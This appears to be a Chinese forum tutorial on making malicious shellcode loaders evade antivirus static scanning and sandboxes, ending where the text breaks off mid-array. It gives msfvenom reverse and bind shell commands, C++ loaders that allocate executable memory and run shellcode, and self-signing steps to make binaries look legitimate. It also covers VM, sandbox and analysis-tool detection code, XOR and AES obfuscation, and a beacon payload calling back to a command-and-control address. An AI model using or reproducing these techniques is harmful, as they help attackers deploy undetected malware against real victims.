首页
论坛
课程
招聘
[原创]静态恶意代码免杀
2022-1-18 10:52 30888

[原创]静态恶意代码免杀

2022-1-18 10:52
30888

恶意代码开发

以下内容仅用于安全研究

前言

目的是能过杀软静态扫描并且能执行上线。

 

开发平台:Windows 10

 

开发工具:MS Visual Studio 2019

 

开发语言: C++

杀软检测工作原理

/引用鸡哥的话术/

 

静态查杀:主要基于hash和特征码,hash可以是文件的hash或导入表之类的hash,特征码可以是是PE头、pdb、全局字符串、互斥体之类的信息。
动态查杀:基于API的监控和沙箱执行,杀软会通过对ntdll的关键API进行hook,实现对程序的API监控。另外可以在内核中注册一系列的回调函数实现对行为的监控。
启发式:多数杀软采用的是基于权重的启发式,就是一套加减分的规则,用于检测程序的潜在恶意行为,如程序在沙盒或模拟器环境运行,在此过程中有操作端口和通讯的函数,并将自身加载到启动项中等上述行为,则很有可能被判定为恶意,另外一些畸形区块也可触发。

杀躲避检测技术

  • 多态(重新编译)对抗基于签名的检测。
  • 代码流的混淆对抗启发式检测。
  • 基于环境的检测对抗沙箱。
  • 敏感信息编码或加密对抗基于签名和启发式。

基本知识

生成shellcode

 

​ Shellcode 是设计用于运行本地或远程系统 shell 的机器代码片段(因此得名)。它们主要用于利用软件漏洞 - 当攻击者能够控制程序的执行流程时,他需要一些通用有效负载来执行所需的操作(通常是 shell 访问)。这适用于本地开发(例如权限提升)和远程开发(用于在服务器上获得 RCE)。

 

​ Shellcode 是一种引导代码,它利用已知的特定于平台的机制来执行特定操作(创建进程、启动 TCP 连接等)。Windows shellcode 通常使用 TEB(线程环境块)和 PEB(进程环境块)来查找加载的系统库(<font color="red"> kernel32.dllkernelbase.dllntdll.dll</font>>)的地址,然后“浏览”它们以找到可用于定位其他函数的地址LoadLibraryGetProcAddress`函数。

 

使用最快捷的方式生成shellcode,比如Metasploit 或者CobaltStrike:

1
2
3
4
举个栗子:
msfvenom -p windows/x64/meterpreter/reverse_tcp  lhost=192.168.220.134 lport=6666 -f c >re_shellcode.c  #反向shell
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f c   #正向shell
msfvenom -p windows/x64/exec CMD=calc.exe -f c   #弹计算器

生成的 shellcode 可以作为字符串包含在二进制文件中。char 数组的经典执行涉及将此数组转换为指向函数的指针,如下所示:

1
2
3
4
void (*func)();
func = (void (*)()) code;
func();
//(*(void(*)()) code)();

执行shellcode

 

执行 shellcode 的实际方式有点不同。我们需要:

Shellcode 也可以使用 char 数组来执行函数指针转换,只要 shellcode 所在的内存区域被标记为可执行。

1
2
3
4
5
6
7
8
9
10
11
##include <Windows.h>
 
void main()
{
    const char shellcode[] = " ";
    PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
    DWORD threadID;
    HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
    WaitForSingleObject(hThread, INFINITE);
}

针对 VirusTotal 的优化

 

​ 在发布我们的可执行文件之前,我们应该确保从二进制文件中删除一些工件。比如丢弃任何调试符号和信息——这可以通过将构建配置切换到“发布”并禁用调试信息的生成(项目属性中的链接器配置)来实现。

 

image-20210929094017206

 

在使用 Visual Studio 时,PDB(程序数据库)路径默认嵌入在二进制文件中。PDB 用于存储调试信息,该文件与可执行文件(或 DLL)本身存储在同一目录中。这条路径可能会泄露一些敏感信息-比如:"C:\users\user\Desktop\project\Release\app.exe".

 

签名

 

某些恶意软件检测引擎可能会将未签名的二进制文件标记为可疑。

 

举个栗子:

1
2
3
4
int main()
{
    return 0;
}

image-20210929100257072

 

给生成的PE文件添加签名:

1
2
3
4
5
makecert -r -pe -n "CN=Malwr CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv MalwrCA.pvk MalwrCA.cer
certutil -user -addstore Root MalwrCA.cer
makecert -pe -n "CN=Malwr Cert" -a sha256 -cy end -sky signature -ic MalwrCA.cer -iv MalwrCA.pvk -sv MalwrCert.pvk MalwrCert.cer
pvk2pfx -pvk MalwrCert.pvk -spc MalwrCert.cer -pfx MalwrCert.pfx
signtool sign /f MalwrCert.pfx /t http://timestamp.digicert.com /fd SHA256 AES_decrypt.exe

image-20210929102813896

 

image-20210929102916005

过沙箱

恶意软件动态分析

 

​ 可执行文件的动态分析可以由沙箱自动执行,也可以由分析人员手动执行。恶意应用程序通常使用各种方法来对它们正在执行的环境进行指纹识别,并根据情况执行不同的操作。

 

​ 自动分析在简化的沙盒环境中执行,该环境可能具有某些特定特征,特别是它可能无法模拟真实环境的所有细微差别。手动分析通常在虚拟化环境中执行,并且可能会遇到特定的附加工具(调试器、其他分析软件)。

 

​ 自动和手动分析都有共同的特点,特别是它们通常在虚拟化环境中执行,如果没有正确配置(强化),可以很容易地检测到。大多数沙箱/分析检测技术都围绕检查特定环境属性(有限资源、指示性设备名称)和工件(特定文件、注册表项的存在)。

 

​ 然而,有几个针对自动化沙箱的特定检测,以及恶意软件分析师使用的其他特定于虚拟环境的检测。

 

测试检测

 

​ 这里,用反向shell来进行测试,因为反向shell有一个回连接的c2地址,也是实际场景中最常用的一种方式。

 

cs生成二进制文件:

 

image-20210929135700234

 

xor加密:

 

image-20210929135832063

 

测试上线:

 

image-20210929140037332

 

这种形式的木马,VT 沙箱能够在动态分析过程中提取 IP 地址。

检测虚拟化环境

沙箱类的虚拟化操作系统通常都不能 100% 准确地模拟实际执行环境。虚拟化环境的资源有限,可以利用这里点,来做逃避沙箱。

 

硬件资源

 

要求处理器至少有 2 个内核、至少 2 GB 的 RAM 和 100 GB 的硬盘驱动器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
BOOL check() {
    // check CPU
    SYSTEM_INFO systemInfo;
    GetSystemInfo(&systemInfo);
    DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
    if (numberOfProcessors < 2)
        return false;
 
    // check RAM
    MEMORYSTATUSEX memoryStatus;
    memoryStatus.dwLength = sizeof(memoryStatus);
    GlobalMemoryStatusEx(&memoryStatus);
    DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;
    if (RAMMB < 2048)
        return false;
 
    // check HDD
    HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    DISK_GEOMETRY pDiskGeometry;
    DWORD bytesReturned;
    DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
    DWORD diskSizeGB;
    diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
    if (diskSizeGB < 100)
        return false;
 
 
}

设备和供应商名称

 

​ 在默认 VM 安装中,设备通常具有可预测的名称,例如包含与特定管理程序关联的字符串。我们可以检查硬盘名称、光驱名称、BIOS 版本、计算机制造商和型号名称、图形控制器名称等。可以使用 WMI 查询检索相关信息(检查“名称”、“描述”、“标题”等属性) )。

1
2
3
4
5
6
7
8
9
10
HDEVINFO hDeviceInfo = SetupDiGetClassDevs(&GUID_DEVCLASS_DISKDRIVE, 0, 0, DIGCF_PRESENT);
SP_DEVINFO_DATA deviceInfoData;
deviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA);
SetupDiEnumDeviceInfo(hDeviceInfo, 0, &deviceInfoData);
DWORD propertyBufferSize;
SetupDiGetDeviceRegistryPropertyW(hDeviceInfo, &deviceInfoData, SPDRP_FRIENDLYNAME, NULL, NULL, 0, &propertyBufferSize);
PWSTR HDDName = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, propertyBufferSize);
SetupDiGetDeviceRegistryPropertyW(hDeviceInfo, &deviceInfoData, SPDRP_FRIENDLYNAME, NULL, (PBYTE)HDDName, propertyBufferSize, NULL);
CharUpperW(HDDName);
if (wcsstr(HDDName, L"VBOX")) return false;

​ 查找典型主机系统中不存在的特定虚拟设备,例如用于来宾主机通信的管道和其他接口:

1
2
3
4
5
6
7
8
9
OBJECT_ATTRIBUTES objectAttributes;
UNICODE_STRING uDeviceName;
RtlSecureZeroMemory(&uDeviceName, sizeof(uDeviceName));
RtlInitUnicodeString(&uDeviceName, L"\\Device\\VBoxGuest"); // or pipe: L"\\??\\pipe\\VBoxTrayIPC-<username>"
InitializeObjectAttributes(&objectAttributes, &uDeviceName, OBJ_CASE_INSENSITIVE, 0, NULL);
HANDLE hDevice = NULL;
IO_STATUS_BLOCK ioStatusBlock;
NTSTATUS status = NtCreateFile(&hDevice, GENERIC_READ, &objectAttributes, &ioStatusBlock, NULL, 0, 0, FILE_OPEN, 0, NULL, 0);
if (NT_SUCCESS(status)) return false;

​ MAC 地址可以指示虚拟环境的存在,因为默认情况下前 3 个字节是制造商标识符。迭代所有可用的网络适配器并将第一个字节与已知值进行比较:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
DWORD adaptersListSize = 0;
GetAdaptersAddresses(AF_UNSPEC, 0, 0, 0, &adaptersListSize);
IP_ADAPTER_ADDRESSES* pAdaptersAddresses = (IP_ADAPTER_ADDRESSES*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, adaptersListSize);
if (pAdaptersAddresses)
{
    GetAdaptersAddresses(AF_UNSPEC, 0, 0, pAdaptersAddresses, &adaptersListSize);
    char mac[6] = { 0 };
    while (pAdaptersAddresses)
    {
        if (pAdaptersAddresses->PhysicalAddressLength == 6)
        {
            memcpy(mac, pAdaptersAddresses->PhysicalAddress, 6);
            if (!memcmp({ "\x08\x00\x27" }, mac, 3)) return false;
        }
    pAdaptersAddresses = pAdaptersAddresses->Next;
    }
}

虚拟环境中的特征值

通过进程名称判断

 

以下是Vmware和VirtualBox可能存在的进程,我们可以使用Process32First,Process32Next等WINAPI列举进程并且检测是否存以下内容。

 

Vmware:

Vmtoolsd.exe

Vmwaretrat.exe

Vmwareuser.exe

Vmacthlp.exe

 

VirtualBox:

vboxservice.exe

vboxtray.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <iostream>
#include <windows.h>
#include"tlhelp32.h"
#include <string.h>
int check(char* name) {
    const char* list[4] = { "vmtoolsd.exe","vmwaretrat.exe","vmwareuser.exe","vmacthlp.exe"};
    for (int i = 0; i <4; i++) {
        if (strcmp(name, list[i]) == 0)
            return -1;
    }
    return 0;
}
bool CheckProcess(){
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    BOOL bResult = Process32First(hProcessSnap, &pe32);
    while (bResult) {
        char ss_Name[MAX_PATH] = { 0 };
        WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1, ss_Name, sizeof(ss_Name), NULL, NULL);
        //printf("%s\n", ss_Name);
        if (check(ss_Name) == -1)
            return false;
        bResult = Process32Next(hProcessSnap, &pe32);
    }
    return true;
}
int main() {
    if (CheckProcess() == false) {
        printf("存在虚拟机\n");
        //exit(0);
    }
    else{
        printf("检测通过\n");
    }
    getchar();
    return 0;
}

使用注册表键值判断

 

以下是vbox和vmware存在的一些注册表:

1
2
3
4
HKLM\SOFTWARE\Vmware Inc\Vmware Tools
HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier
HKEY_CLASSES_ROOT\Applications\VMwareHostOpen.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions

通过检测指定注册表键值是否存在来判断程序是否在虚拟机中运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <iostream>
#include <windows.h>
#include <string.h>
#include <atlstr.h>
 
bool CheckReg() {
    HKEY hkey;
    CString KeyStr;
    KeyStr = _T("\\Applications\\VMwareHostOpen.exe");
    if (RegOpenKey(HKEY_CLASSES_ROOT,KeyStr,&hkey) == ERROR_SUCCESS) {
        return true;
    }
    else {
        return false;
    }
}
int main() {
    if (CheckReg()) {
        printf("检测到虚拟机");
    }
    else {
        printf("未检测到虚拟机");
    }
 
}

image-20210701153705306

 

检测硬盘中的文件

 

下面搜集来了一些vmware和vbox存在的文件特征。可以用多种方法检测文件是否存在,如:WMIC,WINAPI和CMD。

 

VMware

1
2
3
4
5
6
C:\windows\System32\Drivers\Vmmouse.sys
C:\windows\System32\Drivers\vmtray.dll
C:\windows\System32\Drivers\VMToolsHook.dll
C:\windows\System32\Drivers\vmmousever.dll
C:\windows\System32\Drivers\vmhgfs.dll
C:\windows\System32\Drivers\vmGuestLib.dll

VirtualBox

1
2
3
4
5
6
7
8
9
10
11
C:\windows\System32\Drivers\VBoxMouse.sys
C:\windows\System32\Drivers\VBoxGuest.sys
C:\windows\System32\Drivers\VBoxSF.sys
C:\windows\System32\Drivers\VBoxVideo.sys
C:\windows\System32\vboxdisp.dll
C:\windows\System32\vboxhook.dll
C:\windows\System32\vboxoglerrorspu.dll
C:\windows\System32\vboxoglpassthroughspu.dll
C:\windows\System32\vboxservice.exe
C:\windows\System32\vboxtray.exe
C:\windows\System32\VBoxControl.exe

简化代码:

1
2
3
4
5
6
7
// check files
WIN32_FIND_DATAW findFileData;
if (FindFirstFileW(L"C:\\Windows\\System32\\VBox*.dll", &findFileData) != INVALID_HANDLE_VALUE) return false;
 
// check registry key
HKEY hkResult;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxSF", 0, KEY_QUERY_VALUE, &hkResult) == ERROR_SUCCESS) return false;

检测当前环境运行的进程

 

枚举所有现有流程和检查典型的分析工具,如WiresharkProcmonx64dbgIDA等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PROCESSENTRY32W processEntry = { 0 };
processEntry.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
WCHAR processName[MAX_PATH + 1];
if (Process32FirstW(hSnapshot, &processEntry))
{
    do
    {
        StringCchCopyW(processName, MAX_PATH, processEntry.szExeFile);
        CharUpperW(processName);
        if (wcsstr(processName, L"WIRESHARK.EXE")) exit(0);
    } while (Process32NextW(hSnapshot, &processEntry));
}
 
wprintf_s(L"Now hacking...\n");

检测当前环境运行的时间

我们知道,如果我们的PE文件将要被放到沙箱或者虚拟机分析,那么大概率这个测试环境是刚刚启动的,根据这一点,我们可以做一个小功能:

 

如果当前环境启动时间小于20分钟,便不执行该程序:

1
2
ULONGLONG uptime = GetTickCount64() / 1000;
if (uptime < 1200) return false; //20 minutes

PE资源加载执行

将shellcode作为资源文件嵌入到源代码中:

 

使用cs生成一个二进制文件,类型为raw:

 

image-20210930171815456

 

在vs中,将其作为资源文件嵌入:

 

image-20210930171957482

 

然后导入生成的.bin文件,并设置类型(名称可自定义):

 

image-20210930172227020

 

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <iostream>
#include <Windows.h>
#include "resource.h"
#include <stdio.h>
int main()
{
    HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLAOD_BIN1), "paylaod_bin");
    DWORD error_code = GetLastError();
    std::cout << error_code << std::endl;
 
    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
    HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);
 
    void* exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcodeResouceData, shellcodeSize);
    ((void(*)())exec)();
 
    return  0;
 
}

混淆

Shellcode亦或混淆加密

首先想到的是修改shellcode以逃避基于其内容的静态签名。

 

可以尝试最简单的“加密”——将 ROT13 密码应用于嵌入的 shellcode 的所有字节——所以0x41变成0x540xFF变成0x0C等等。在执行期间,shellcode 将通过0x0D从每个字节中减去(13)的值来“解密” 。

1
2
3
4
5
6
7
8
9
10
//rot13
for (int i = 0; i < sizeof shellcode; i++)
{
    ((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) - 13;
}
//xor
for (int i = 0; i < sizeof shellcode; i++)
{
((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) ^ '\x35';
}

举个栗子:

 

python加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
shellcode = ''
shellcode_size = 0
key1 = 10
key2 = 11
with open('./calc.bin','rb')as f:
    try:
        while True:
            code = f.read(1)
            if not code:
                break
            basecode =  ord(code) ^ key1^ key2
            basecode_str = chr(basecode)
            code_hex = hex(basecode)
            code_hex = code_hex.replace('0x','')
            if(len(code_hex)==1):
                code_hex ='0'+code_hex
            shellcode+='\\x'+code_hex
            shellcode_size+=1
    except Exception as e:
        print(e)
    print(shellcode)

源代码中解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <windows.h>
void main()
{
    const char shellcode[] = "\xfd\x49\x82\xe5\xf1\xe9\xc1\x01\x01\x01\x40\x50\x40\x51\x53\x50\x57\x49\x30\xd3\x64\x49\x8a\x53\x61\x49\x8a\x53\x19\x49\x8a\x53\x21\x49\x8a\x73\x51\x49\x0e\xb6\x4b\x4b\x4c\x30\xc8\x49\x30\xc1\xad\x3d\x60\x7d\x03\x2d\x21\x40\xc0\xc8\x0c\x40\x00\xc0\xe3\xec\x53\x40\x50\x49\x8a\x53\x21\x8a\x43\x3d\x49\x00\xd1\x8a\x81\x89\x01\x01\x01\x49\x84\xc1\x75\x66\x49\x00\xd1\x51\x8a\x49\x19\x45\x8a\x41\x21\x48\x00\xd1\xe2\x57\x49\xfe\xc8\x40\x8a\x35\x89\x49\x00\xd7\x4c\x30\xc8\x49\x30\xc1\xad\x40\xc0\xc8\x0c\x40\x00\xc0\x39\xe1\x74\xf0\x4d\x02\x4d\x25\x09\x44\x38\xd0\x74\xd9\x59\x45\x8a\x41\x25\x48\x00\xd1\x67\x40\x8a\x0d\x49\x45\x8a\x41\x1d\x48\x00\xd1\x40\x8a\x05\x89\x49\x00\xd1\x40\x59\x40\x59\x5f\x58\x5b\x40\x59\x40\x58\x40\x5b\x49\x82\xed\x21\x40\x53\xfe\xe1\x59\x40\x58\x5b\x49\x8a\x13\xe8\x56\xfe\xfe\xfe\x5c\x49\xbb\x00\x01\x01\x01\x01\x01\x01\x01\x49\x8c\x8c\x00\x00\x01\x01\x40\xbb\x30\x8a\x6e\x86\xfe\xd4\xba\xf1\xb4\xa3\x57\x40\xbb\xa7\x94\xbc\x9c\xfe\xd4\x49\x82\xc5\x29\x3d\x07\x7d\x0b\x81\xfa\xe1\x74\x04\xba\x46\x12\x73\x6e\x6b\x01\x58\x40\x88\xdb\xfe\xd4\x62\x60\x6d\x62\x2f\x64\x79\x64\x01";
    PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
    DWORD threadID;
    char key1 = 10;
    char key2 = 11;
    for (int i = 0; i < sizeof shellcode; i++)
    {
        ((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) ^ key2^key1;
    }
    HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
    WaitForSingleObject(hThread, INFINITE);
}

image-20210929144352255

 

关于xor解密,有些杀软会识别源码中的xor解密,标记为可疑:

 

这里可使用windos 提供的一个 API(现在也会被识别了,提供一个思路):

 

<font color="red">_InterlockedXor8:在由多线程共享的变量上执行原子按位异或 (XOR) 操作。</font>

 

https://docs.microsoft.com/zh-cn/cpp/intrinsics/interlockedxor-intrinsic-functions?view=msvc-160

1
2
3
4
5
for (int i = 0; i < sizeof shellcode; i++) {
    //Sleep(50);
    _InterlockedXor8((volatile char *)shellcode+i ,key2);
    _InterlockedXor8((volatile char *)shellcode+i, key1);
}

Shellcode AES混淆加密

AES为分组密码,分组密码也就是把明文分成一组一组的,每组长度相等,每次加密一组数据,直到加密完整个明文。在AES标准规范中,分组长度只能是128位,也就是说,每个分组为16个字节(每个字节8位)。密钥的长度可以使用128位、192位或256位。密钥的长度不同,推荐加密轮数也不同,如下表所示:

 

AES 密钥长度(32位比特字) 分组长度(32位比特字) 加密轮数
AES-128 4 4 10
AES-192 6 4 12
AES-256 8 4 14

 

AES有多种加密方式和填充模式。

 

加密方式如CBC,ECB,CFB等;填充模式有NoPadding、PKCS#7 & PKCS#5、ZerosPadding等。

 

简单说一下填充模式:

 

NoPadding

 

顾名思义,就是不填充。缺点就是只能加密长为128bits倍数的信息,一般不会使用。

 

PKCS#7 & PKCS#5

 

缺几个字节就填几个缺的字节数。

 

ZerosPadding

 

全部填充0x00,无论缺多少全部填充0x00,已经是128bits倍数仍要填充。

 

C++没有内置的AES加密库,需要在项目中导入封装好的方法来调用,下面是github上的三个开源的AES加密解密项目:

这里以第二个项目为例(因为star最多)。

 

git clone项目到本地,然后将源文件和头文件导入到项目中,结构如下:

 

image-20220117155358557

 

AES加密

 

这里就以AES-256、CBC、NoPadding为例,写一个加密的功能:

 

256位就是32byte,为了保证是shellcode是32的倍数,需要在末尾添加\00。同时C++会在字符串最后加个\0作为结尾符,所以我们需要加密的实际长度应该是<font color ="red"><b>sizeof(shellcode) -1</b></font>,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <Windows.h>
#include <stdio.h>
#include "aes.hpp"
int main(int argc, char* argv[])
{
    // msfvenom -p windows/x64/exec CMD=notepad EXITFUNC=thread -f c
    unsigned char shellcode[] =
            /* length: 897 bytes */
        "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x33\x53\x62\x75\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x30\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x6d\x73\x6e\x20\x4f\x70\x74\x69\x6d\x69\x7a\x65\x64\x49\x45\x38\x3b\x45\x4e\x55\x53\x29\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x31\x30\x2e\x31\x30\x2e\x31\x33\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
;
 
    SIZE_T shellcodeSize = sizeof(shellcode);
 
    /*uint8_t in[] = { 0x6b, 0xc1, 0xbe, 0xe2, 0x2e, 0x40, 0x9f, 0x96, 0xe9, 0x3d, 0x7e, 0x11, 0x73, 0x93, 0x17, 0x2a,
                     0xae, 0x2d, 0x8a, 0x57, 0x1e, 0x03, 0xac, 0x9c, 0x9e, 0xb7, 0x6f, 0xac, 0x45, 0xaf, 0x8e, 0x51,
                     0x30, 0xc8, 0x1c, 0x46, 0xa3, 0x5c, 0xe4, 0x11, 0xe5, 0xfb, 0xc1, 0x19, 0x1a, 0x0a, 0x52, 0xef,
                     0xf6, 0x9f, 0x24, 0x45, 0xdf, 0x4f, 0x9b, 0x17, 0xad, 0x2b, 0x41, 0x7b, 0xe6, 0x6c, 0x37, 0x10 };*/
    uint8_t key[] = { 0x60, 0x3d, 0xeb, 0x10, 0x15, 0xca, 0x71, 0xbe, 0x2b, 0x73, 0xae, 0xf0, 0x85, 0x7d, 0x77, 0x81,
                      0x1f, 0x35, 0x2c, 0x07, 0x3b, 0x61, 0x08, 0xd7, 0x2d, 0x98, 0x10, 0xa3, 0x09, 0x14, 0xdf, 0xf4 };
    /*uint8_t out[] = { 0xf5, 0x8c, 0x4c, 0x04, 0xd6, 0xe5, 0xf1, 0xba, 0x77, 0x9e, 0xab, 0xfb, 0x5f, 0x7b, 0xfb, 0xd6,
                      0x9c, 0xfc, 0x4e, 0x96, 0x7e, 0xdb, 0x80, 0x8d, 0x67, 0x9f, 0x77, 0x7b, 0xc6, 0x70, 0x2c, 0x7d,
